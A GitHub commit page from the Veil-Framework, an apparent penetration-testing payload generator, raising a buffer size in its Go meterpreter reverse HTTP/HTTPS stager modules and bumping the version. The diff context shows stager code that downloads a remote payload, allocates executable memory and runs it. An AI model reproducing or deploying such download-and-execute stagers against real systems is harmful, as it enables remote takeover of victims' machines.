Skip to content
This repository has been archived by the owner on Jan 10, 2024. It is now read-only.

Commit

Permalink
Merge pull request #244 from Veil-Framework/issue243
Browse files Browse the repository at this point in the history
Fix for go buffer length issue with updated meterpreter dll
  • Loading branch information
ChrisTruncer committed Dec 21, 2015
2 parents dbe0e70 + 01ff62e commit ab402d1
Show file tree
Hide file tree
Showing 4 changed files with 7 additions and 3 deletions.
4 changes: 4 additions & 0 deletions CHANGELOG
Original file line number Diff line number Diff line change
@@ -1,3 +1,7 @@
[11.15.2015]
Released.: 2.22.2
Updated..: Pure go stager payloads now have the correct buffer length for the latest meterpreter dll. Fixes issue #243

[9.19.2015]
Released.: 2.22.1
Updated..: Fixed issue with msfvenom output change and command line usage, updated in pull requests #218 and #219, thanks to gryffus for the patches!
Expand Down
2 changes: 1 addition & 1 deletion modules/common/messages.py
Original file line number Diff line number Diff line change
Expand Up @@ -8,7 +8,7 @@
import helpers


version = "2.22.1"
version = "2.22.2"


# try to find and import the settings.py config file
Expand Down
2 changes: 1 addition & 1 deletion modules/payloads/go/meterpreter/rev_http.py
Original file line number Diff line number Diff line change
Expand Up @@ -96,7 +96,7 @@ def generate(self):
payloadCode += "defer %s.Body.Close()\n" %(response)
payloadCode += "%s, _ := ioutil.ReadAll(%s.Body)\n" %(payload, response)
payloadCode += "%s, _ := %s(uintptr(len(%s)))\n" %(addr, virtualAlloc, payload)
payloadCode += "%s := (*[890000]byte)(unsafe.Pointer(%s))\n" %(bufferVar, addr)
payloadCode += "%s := (*[990000]byte)(unsafe.Pointer(%s))\n" %(bufferVar, addr)
payloadCode += "for %s, %s := range %s {\n" %(x, value, payload)
payloadCode += "%s[%s] = %s\n}\n" %(bufferVar, x, value)
payloadCode += "syscall.Syscall(%s, 0, 0, 0, 0)\n}\n" %(addr)
Expand Down
2 changes: 1 addition & 1 deletion modules/payloads/go/meterpreter/rev_https.py
Original file line number Diff line number Diff line change
Expand Up @@ -100,7 +100,7 @@ def generate(self):
payloadCode += "defer %s.Body.Close()\n" %(response)
payloadCode += "%s, _ := ioutil.ReadAll(%s.Body)\n" %(payload, response)
payloadCode += "%s, _ := %s(uintptr(len(%s)))\n" %(addr, virtualAlloc, payload)
payloadCode += "%s := (*[890000]byte)(unsafe.Pointer(%s))\n" %(bufferVar, addr)
payloadCode += "%s := (*[990000]byte)(unsafe.Pointer(%s))\n" %(bufferVar, addr)
payloadCode += "for %s, %s := range %s {\n" %(x, value, payload)
payloadCode += "%s[%s] = %s\n}\n" %(bufferVar, x, value)
payloadCode += "syscall.Syscall(%s, 0, 0, 0, 0)\n}\n" %(addr)
Expand Down

0 comments on commit ab402d1

Please sign in to comment.